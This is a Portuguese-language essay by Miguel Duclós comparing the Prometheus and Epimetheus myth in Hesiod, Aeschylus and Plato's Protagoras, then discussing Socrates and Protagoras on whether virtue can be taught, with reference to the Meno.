O mito de Prometeu e Epimeteu segundo Ésquilo, Hesíodo e Platão

O mito de Prometeu e Epimeteu segundo
Ésquilo, Hesíodo e Platão.

por Miguel Duclós

1. Hesíodo e Ésquilo.

           
O mito de Prometeu é descrito na literatura clássica principalmente em Hesíodo.
Aparece nas duas obras do poeta, Teogonia e Os trabalhos e os Dias,
sendo que na segunda ele  é recontado e complementado. Afora Hesíodo,
outra obra importante, a tragédia Prometeu Acorrentado, é dedicada a
ele. Porém nesta tragédia o mito não está completo, pois começa no instante em
que Hefesto e Cratos castigam o titã, a mando de Zeus pai. Prometeu, em
diversas partes da tragédia, se refere aos motivos que o levaram a ser acorrentado.
A tragédia fazia parte de uma trilogia sobre Prometeu, mas as outras duas
partes se perderam.

        Como explica Junito de
Souza Brandão, o nome Prometeu, segundo a etimologia popular, teria vindo da
conjunção das palavras gregas pró (antes) e manthánein (saber,
ver). Ou seja, Prometeu equivaleria a prudente ou previdente. Embora, como
afirma Ésquilo, Prometeu não supusesse o teor do castigo de Zeus ao desafiá-lo,
ainda assim lhe é atribuído um caráter oracular, por ter proferido um vaticínio
sobre a queda de Zeus, o governador. Alguns outros mitógrafos atribuem a teoria
desta previsão a Têmis. A profecia diz que o filho da nereida Tétis e de Zeus
destronaria o pai. Por causa disso, Zeus desiste de seduzir a nereida e se
apressa a lhe dar um esposo mortal, que acabou sendo Peleu. Este cuidado de
Zeus também se verifica quando ele engole a mãe de Atena, Métis (sabedoria,
astúcia) – sua primeira esposa -, para que não nascesse dela um segundo filho
mais poderoso que o pai. Zeus engole Métis ainda grávida, e Atena, deusa da
sabedoria, nasce da cabeça do pai.

          Prometeu,
que parece detestar Zeus –  como se observa na tragédia esquiliana pelo
desprezo a seu mensageiro Hermes ou quando critica a arrogância de Zeus e diz
abominar os demais deuses – era filho do titã  Jápeto e da oceânide
Clímene. Apenas em Ésquilo a mãe de Prometeu é Têmis, a deusa da justiça. Tinha
como irmãos Atlas, Menécio e Epimeteu, sendo que todos eles foram castigados
por Zeus. Jápeto era irmão de Crono (Prometeu era, portanto, primo de
Zeus)  e de Oceano, que em Ésquilo sai do seu reino e avança sobre a Terra
para tentar dissuadir o sobrinho Prometeu de sua revolta e dizer a ele que
intercederia junto a Zeus, uma prova ferrenha de sua amizade.

         Nos versos 510 a
516 da Teogonia, está contada a história de Prometeu segundo Hesíodo. Consta
ali  que a primeira falta de Prometeu para com Zeus em favor dos homens
foi quando dividiu um boi em duas partes, uma cabendo a Zeus e outra aos
mortais. Na primeira estavam as carnes e as vísceras, cobertas com o couro. Na
segunda, apenas ossos, cobertos com a banha do animal.

        Zeus, atraído pela
banha, escolhe a segunda, e então a raiva, o rancor, e a cólera lhe subiram-lhe
a cabeça e ao coração. Por conta disso, Zeus castiga os homens, negando a eles
a força do fogo infatigável. O fogo representa simbolicamente a inteligência do
homem. A afronta definitiva de Prometeu, porém, ocorre quando este rouba “o
brilho longevisível do infatigável fogo em oca Férula” (Teogonia, 566).
Com isto, Prometeu reanimou a inteligência do homem, que antes era semelhante
aos fantasmas dos sonhos. A fala de Prometeu na tragédia de Ésquilo remete para
ele a dívida dos mortais por terem a habilidade de, por exemplo, construir
casas de tijolos e madeira. Os mortais, diz o titã, tudo faziam sem tino até
que este lhes ensinasse “as intricadas saídas e portas dos astros. Por elas
inventei os números (…) a composição das letras e a memória (…), matriz
universal.” Prometeu diz, enfim, que os homens devem a ele todas as artes,
inclusive a de domesticar animais selvagens e fazê-los trabalhar para os
homens.

        Por conta dos mortais
terem o fogo, Zeus armou uma armadilha: mandou o filho de Hera, o deus coxo e
ferreiro Hefesto,  plasmar uma mulher ideal, fascinante, ao qual os deuses
presentearam com alguns atributos de forma a torná-la irresistível. Esta mulher
foi batizada por Hermes como Pandora,  (pan = todos, dora =
presente) e ela recebeu de Atena a arte da tecelagem, de Afrodite o poder de
sedução, de Hermes as artimanhas e assim por diante. Pandora foi dada de
presente para o atrapalhado Epimeteu, que ingenuamente a aceitou, a despeito da
advertência de seu irmão Prometeu. A vingança planejada por Zeus estava contida
numa jarra, que foi levada como presente de núpcias para Epimeteu e Pandora.
Quando esta, por curiosidade feminina, abriu a jarra e rapidamente a fechou,
escaparam todas as desgraças e calamidades da humanidade, restando na jarra
apenas a esperança.

        Quanto a Prometeu, foi
castigado sendo preso pelas inquebráveis correntes de Hefesto no meio de uma
coluna, e uma águia de longas asas enviada por Zeus comia-lhe o fígado imortal.
Ao cabo do dia, chegava a negra noite por Prometeu ansiada, e seu fígado
tornava a crescer. Teria sido assim eternamente se não fosse por intervenção de
Herácles, que matou a águia como consentimento de Zeus.

2 – O mito de Prometeu e Epimeteu segundo Platão.

          Este é o
resumo do mito tal como é contado por Hesíodo, com complementos de Ésquilo,
tragediógrafo significativamente posterior a Hesíodo, mas contemporâneo de
Platão. No Protágoras de Platão, todas as criaturas vivas aparecem como
obra de vários deuses, que as plasmaram inicialmente com terra, limo e fogo. A
palavra latina homem está ligada a humus (terra) e os gregos acreditavam
que uma centelha divina de imortalidade percorria toda a Terra. São os outros
deuses que incubem Prometeu e Epimeteu de dar aos seres as qualidades
necessárias para se sustentarem quando viessem à luz. Epimeteu, por ser
atrapalhado, torna-se um reversor dos benefícios de Prometeu aos homens, tanto
em Hesíodo quanto em Platão. Protágoras continua a narrativa dizendo que
Epimeteu pediu a seu irmão para que deixasse por sua conta a distribuição das
qualidades aos seres criados, cabendo a Prometeu apenas uma revisão final.

        Começa então a divisão
compensatória de Epimeteu: a alguns dá força sem velocidade, a outros dá apenas
velocidade. Tendo em vista o que conhecemos dos animais hoje, sabemos que é
perfeitamente possível um animal ter força e velocidade ao mesmo tempo, como no
caso de uma leoa ou guepardo.

         Para algumas
criaturas, Epimeteu deu armas. Aos  que não a tinham, achou diferentes
soluções, como asas para fugir aos pequenos e tamanho a outros. É certo que
asas são um meio de transporte ideal para as fugas, mas também o são para a
caça, como comprovam as aves rapinaces predadoras. As qualidades foram assim
distribuídas para que houvesse um equilíbrio, e não viessem as espécies
destruir umas às outras. Depois Epimeteu provê os seres com o necessário para
sobreviverem no frio, os pêlos. Por último determinou o que cada um deveria
comer, de acordo com a sua constituição: ervas, frutos, raízes e carne. Os que
comiam carne, de acordo com o mito, se reproduziriam menos do que os
herbívoros. Hoje sabemos que o número de filhotes faz parte de duas estratégias
de perpetuação de espécie que independem do hábito alimentar. Na primeira, as
mães têm filhotes em grande número, sendo que poucos chegarão na vida adulta.
Na segunda, a mãe tem poucos filhotes, e se esforça para que todos atinjam a
idade da reprodução. Um elefante herbívoro, por exemplo, tem apenas um filhote
por vez, ao passo que uma armadeira predadora tem vários.

         Epimeteu, por não
refletir, termina a sua distribuição  das qualidades, mas deixa de lado um
ser: o homem. O que sobrou para o homem? Nada, permanecera nu e sem defesa.
Estava se aproximando a hora determinada para que o homem chegasse à luz e
Prometeu aparece para fazer sua parte. Não encontrando outra solução, Prometeu
é obrigado a roubar o fogo de Hefesto e a sabedoria de Atena, deusa de olhos
verde-mar. De posse dessas duas qualidades, o homem estava apto a trabalhar
o fogo nas suas diversas utilidades, e assim garantir a sobrevivência. Porém, a
qualidade necessária para os homens se relacionarem entre si se encontrava nas
mãos de Zeus: a política. E era proibido a Prometeu penetrar na Acrópole de
Zeus, vigiada por temíveis sentinelas.

        Protágoras termina o
mito dizendo  que consta ter sido Prometeu morto por este crime, o que não
é possível, pois Prometeu era imortal. As diferenças entre as narrativas de
Platão e Hesíodo são mais visíveis que as semelhanças. Por exemplo, em Hesíodo
o trabalho é um castigo do Crônida aos mortais, o mito platônico nos leva a
crer que o trabalho é uma dádiva. O nascimentos dos mortais em Hesíodo é bem
anterior a Platão, se tomarmos como referência o roubo do fogo, que em Hesíodo
se dá depois do nascimentos dos homens. Em Ésquilo, o homem vive por séculos
sem conseguir a aptidão necessária, antes de receber o fogo como presente. Isto
representa a dificuldade de sobrevivência do homem nas eras primitivas, ou a
miséria do homem na Idade do ferro, como afirma Junito Brandão. Em Platão o
homem já obtém a capacidade de trabalhar o fogo desde a sua criação. A miséria
em Platão consiste na falta da arte política, indispensável para a fortificação
dos homens em cidades e a instituição de um governo virtuoso baseado na
justiça.

        Diz Platão que não
demorou aos homens usarem a sabedoria herdada de Atena para desenvolverem uma
linguagem, construir casas e roupas e procurar alimentos. Porém, não tendo
política, não conseguia vencer as feras nem guerrear, pois não tinham a arte
militar, parte da política. E, ao tentar se reunirem em grupo, a anarquia reinante
fazia de todos inimigos e vítimas de querelas militares. Os homens então
passaram a se destruir, vítimas das feras e deles próprios.

          Zeus,
preocupado com o iminente desaparecimento dos homens, mandou seu filho e
mensageiro Hermes distribuir pudor e justiça, para que pudessem se relacionar e
subsistir. O pudor e a justiça deveriam, ao contrário das demais artes, serem
distribuídos igualmente a todos os homens, e aqueles que não a tivessem
deveriam morrer, por estarem contra o princípio unificador da sociedade.

        Protágoras exibe o seu
modo de ver do mito de Prometeu – o qual fiz um resumo, para responder a
questão de Sócrates sobre a virtude, se ela pode ou não ser ensinada. Sócrates,
neste diálogo, fora levado por Hipócrates na casa de Cálias, o belo. Hipócrates
queria desfrutar dos ensinamentos do famoso Protágoras, usando a influência de
Sócrates. Protágoras, estrangeiro em Atenas por ser de Abdera, prometia, em
troca de dinheiro, tornar o jovem mais sábio e com a alma mais rica. Protágoras,
como sofista, exercia uma espécie de ensino superior, no qual os jovens bem
nascidos de casas abastadas despontavam para exercer atividades de liderança na
pólis.  Protágoras generaliza a atividade do sofista, enxerga  como
sofistas figuras diversas: Hesíodo, Homero, Simônides, Orfeu, Pítocles e outros
(Protágoras, 316d). Ao mesmo tempo se distancia dos outros sofistas
contemporâneos – como Hípias – ao dizer que não ensinará aos jovens as artes da
astronomia, geometria, música e cálculo. (Protágoras, 319 a) O jovem
aprendiz, ao iniciar seus estudos superiores, é reconduzido a estas artes, que
já estudou. No método de Protágoras, o aprendiz é levado diretamente ao assunto
que o interessava quando procurou o mestre: a prudência nas relações familiares
que o deixará mais apto para os assuntos da cidade.

         Bem administrar a
casa (economia), e o Estado (política), resumiam a virtude política, objeto dos
ensinamentos dos sofistas. Para isso o jovem era treinado a falar bem sobre
qualquer assunto, e Protágoras, como mestre e grande retórico, orgulha-se
disto. Sócrates, pelo contrário, admite sua inaptidão nos debates constituídos
de longos períodos, preferindo ao invés destes a investigação em falas curtas.
Por duas vezes ameaça interromper o embate com Protágoras se o mesmo não
concordar com seus termos. Num dado momento do diálogo, os ouvintes intercedem,
e na parte final as falas de Sócrates constituem longos períodos, enquanto
Protágoras apenas dá respostas curtas. Mas esta não é a única troca de papéis,
como veremos.

         Sócrates
apresentara a Protágoras, como principal objeção à impossibilidade do ensino da
virtude o fato de homens virtuosos, como Péricles, não terem tido filhos
virtuosos. Como ficaria o mito de Protágoras então, se ele diz que a virtude é
necessária e comum a todos?  Protágoras não pretendia o seu mito
verdadeiro, ele é um instrumento escolhido, dentre outros, para expor a sua
teoria. Para Protágoras todos os homens são capazes de alcançar a virtude, mas
somente pelo estudo e aplicação. Ninguém puniria as pessoas que tem algum
defeito sem ter culpa – como a feiúra ou a baixa estatura – , mas alguém que se
apresenta injusto é punido. Para ser justo, o cidadão grego era ensinado desde
pequeno a ser racional e a caminhar para a virtude, pelos pais, que procuram a
cada ato demonstrar as virtudes como justiça, temperança e santidade. Na
formação das crianças, também é usado o exemplo de heróis virtuosos do passado,
cantado em poemas como os de Homero. Se a criança aprende, tudo o bem, senão,
ela é levada a se corrigir através da ameaça  de castigos violentos. Isto
é explicado por Protágoras com o exemplo dos tocadores de flauta. A virtude é
generalizada, imaginemos que tocar flauta também o fosse: é de se esperar que
os filhos dos melhores tocadores de flauta fossem melhores também? Não
necessariamente. Todos saberiam tocar flauta minimamente, mas os grandes
talentos nasceriam em famílias diferentes.

        Fica assim respondida a
questão de Sócrates, que ficou muito impressionado com a sabedoria de
Protágoras: todos teriam virtude em potência, mas somente os mais aplicados
a consegueriam. Sócrates se refere a Protágoras com o seu maior elogio a alguém:
“o homem mais sábio de nosso tempo”. É neste diálogo também que o oponente de
Sócrates apresenta objeções mais sólidas, em outros diálogos os interlocutores
geralmente se limitam a concordar. A resposta agradou a Sócrates, mas ainda
resta uma dificuldade pendente: a definição de virtude. Esta dificuldade irá
permanecer até o fim do diálogo, e ela também se encontra em Mênon.
Sócrates chegará a cinco exemplos claros de virtude – o que será aceito por
Protágoras-; que são: a sabedoria. a temperança, a coragem, a justiça e a
santidade (394 a); e a uma definição: a virtude é o conhecimento.  O
problema é saber se cada uma destas partes da virtude são semelhantes entre si
e a virtude é Una, ou se cada uma das cinco partes é diferente. sendo virtude
ao seu modo.

        Todo encadeamento do
diálogo Mênon parte da recusa de Sócrates em aceitar a definição de virtude
como virtude política, dada pelos sofistas. Para Sócrates, a virtude é única, e
tem um caráter geral em virtude do qual as virtudes são virtudes. O
efeito-tremelga socrático levará Mênon a reformular várias vezes sua definição
de virtude. Sócrates procura distinguir se a virtude é uma ciência, para saber
então se ela pode ser ensinada. Recusa a opinião de Mênon, de ser a virtude
procurar o bem com justiça, pois a justiça é só parte da virtude. Para
Sócrates, a virtude para ser útil e boa deve ser exercida com a razão, o
bom-senso. Coragem sem raciocínio não passa de audácia, assim como a temperança
não vale muito sem reflexão. A virtude, como qualidade útil  da
alma,  é então definida como a razão, no seu todo ou em parte. ( Mênon,
89). Mas Sócrates e Mênon verificam que os mestres da virtude não concordam
entre si, pois ora dizem  que a virtude é ensinável, ora não.

           
Como Sócrates demonstrou com o escravo, no episódio dos quadrados, a
reminiscência oferece a base racional  para transformar as opiniões certas
em ciência através do encadeamento de umas com as outras por um raciocínio de
causalidade. (Mênon, 98) Como só o que é ensinável é ciência, e a
virtude não é ensinável ( para Sócrates ela é privilégio de poucos ), ela não é
ciência. Porém, ela nos guia retamente, então ela é posta como opinião certa,
que dá o mesmo resultado da ciência. Os virtuosos acertam sem saber, por isso
devem ser chamados de divinos. Os políticos não conseguem formar outros iguais
a eles.  A virtude, portanto, é a razão, mas exercida por favor divino. A
base é o mito, é necessário receber um bom quinhão das moiras para poder agir
retamente, conforme a razão e o raciocínio ditam. Platão nos leva a crer que
quem age com virtude – elevando assim o seu espírito- é recompensado. Um
exemplo dito está no final de A República com o mito de Er. No Mênon
está presente esta predestinação do bom quinhão da divindade – pois a virtude é
uma ligação dos homens com os deuses -, na página 81, quando Sócrates expõe sua
admiração pelo misticismo oracular e pelos versos de Píndaro, que afirma que Perséfone,
esposa de Hades, forma reis gloriosos e homens poderosos com a alma daqueles
que pagaram os pecados de outras vidas.

           No
mito de Protágoras, a virtude é presente divino, mantenedor da coesão social,
mas só alcançável pela prática e estudo aplicado.  Em Mênon ela é a
razão (agir com bom senso) e exercida pelo favor divino, como determina o
destino e as moiras. O Destino (fado) é regido pelas moiras, que para Ésquilo
são mais poderosas que o próprio Zeus, pois ele não poderia escapar da fortuna
que lhe foi preparada. (Prometeu Acorrentado, episódio II) Sócrates,
explicando o poema de Simônides a Protágoras, demonstra que é difícil, porém
possível se tornar virtuoso, ao passo que permanecer virtuoso é só para os
deuses.  No Protágoras ocorre então um elogio de Sócrates à razão,
ao logos enquanto arte de medir, ou proporção e raciocínio aritmético. Para
ele, é impossível o homem querer viver o mal conhecendo o bem, ou querer viver
o desagradável se pode viver o agradável. Alguns prazeres, porém, causam danos
posteriores, como os excessos de comidas, bebidas ou amor. Mas ao mesmo tempo
algumas dores imediatas ocasionam ganhos futuros, como ser medicado ou praticar
exercícios físicos. O que está em questão para o homem, no seu âmbito ação, é
medir os prazeres e os sofrimentos de uma determinada situação para poder
escolher o melhor caminho. Isto, muitas vezes, pode ser a salvação da vida, ou
no mínimo ocasionar uma vida agradável. Sócrates demonstra que se você pode
escolher o melhor, escolherá, e que as ações erradas decorrem apenas
ignorância.

         Sócrates admite
então que se a virtude, como escolha acertada, depende apenas do conhecimento,
ou é o conhecimento, ela pode ser ensinada, enquanto Protágoras parece defender
no final do diálogo que a virtude pode ser tudo, menos o conhecimento. É devido
a esta inversão de papéis, a qual já nos referimos antes, que Sócrates brinca
dizendo não ter restado pedra sobre pedra da investigação. Vale lembrar que no
jogo da dialética, uma vez assentado um princípio, não era permitido voltar
atrás.  A confusão talvez tenha acontecido por culpa de Epimeteu, que já
havia se esquecido dos homens antes. Durante a investigação de Sócrates e
Protágoras no decurso do diálogo, alguma coisa se perdeu. Seria necessário
voltar tudo, e desvelar a questão procurando saber o que é a virtude em si,
numa definição universal, o que é essencial para Sócrates. Sócrates toma
Prometeu, benfazejo dos homens, como modelo no mito, e se dispõe a examinar
novamente a questão. De fato, muitos diálogos platônicos estão envoltos nesta
temática do ensino e prática da virtude. Alguns diálogos são ditos aporéticos,
por não apresentarem uma solução, enquanto outros, como A República,
oferecem algumas respostas mais exatas, no caso, um tratado sobre a educação de
modo a selecionar os melhores, que conseguiriam experimentar a virtude e
governar a cidade, fazendo dela justa. O importante no método socrático é que,
como ele afirma em Mênon, leva quem o pratica a um questionamento constante, a
um querer saber, ao auto-conhecimento e ao trabalho, ao passo que o método
sofístico leva o homem à preguiça e à indolência.

BIBLIOGRAFIA

  • 1.  Brandão, Junito de
    Souza. Mitologia grega. Volume 1. Editora vozes.
  • 2.  Ésquilo, Prometeu
    acorrentado. Editora vozes
  • 3.  Hesíodo. Os
    trabalhos e os dias. Tradução de Mário da Gama Khuri
  • 4.   Hesíodo,
    Teogonia. Tradução de Mário da Gama Khuri.
  • 5.   Platão, Mênon.
    Editora globo. Tradução de Jorge Paleikat.
  • 6.  Platão, Protágoras.
    Editora Globo, Tradução de Jorge Paleikat.

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